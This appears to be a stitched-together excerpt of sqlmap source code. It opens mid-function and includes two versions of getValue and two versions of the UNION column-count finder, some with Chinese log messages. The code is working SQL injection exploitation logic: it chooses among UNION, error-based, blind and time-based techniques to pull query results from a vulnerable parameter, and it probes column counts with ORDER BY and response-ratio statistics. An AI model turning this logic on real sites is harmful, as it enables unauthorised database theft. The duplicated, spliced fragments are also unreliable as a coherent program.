query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL: warnMsg = "something went wrong with full UNION " warnMsg += "technique (most probably because of " warnMsg += "limitation on retrieved number of entries). " warnMsg += "Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) kb.forcePartialUnion = False if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def _orderByTechnique(): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any( re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison( page, headers, code) or re.search( r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = u"'ORDER BY'技术似乎是可用的。" infoMsg += u"这将减少查找正确数量的查询列所需的时间。" infoMsg += u"自动扩展当前UNION查询注入技术测试的范围。" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "目标网址在查询中似乎含有%d列%s" % (found, '(字段)' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, _ or "", re.IGNORECASE) is not None) for count, _ in pages.items()] if len(filter(lambda _: _[1], contains)) == 1: retVal = filter(lambda _: _[1], contains)[0][0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average( ratios) - UNION_STDEV_COEFF * deviation, average( ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = u"目标网址似乎是可以使用UNION注入%d列" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) return retVal
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO for count in range(lowerCount, upperCount + 1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, _ = Request.queryPage(payload, place=place, content=True, raise404=False) ratio = comparison(page, True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) deviation = stdev(ratios) if abs(max_ - min_) < MIN_STATISTICAL_RANGE: return None lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average( ratios) + UNION_STDEV_COEFF * deviation minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal logger.info(infoMsg) return retVal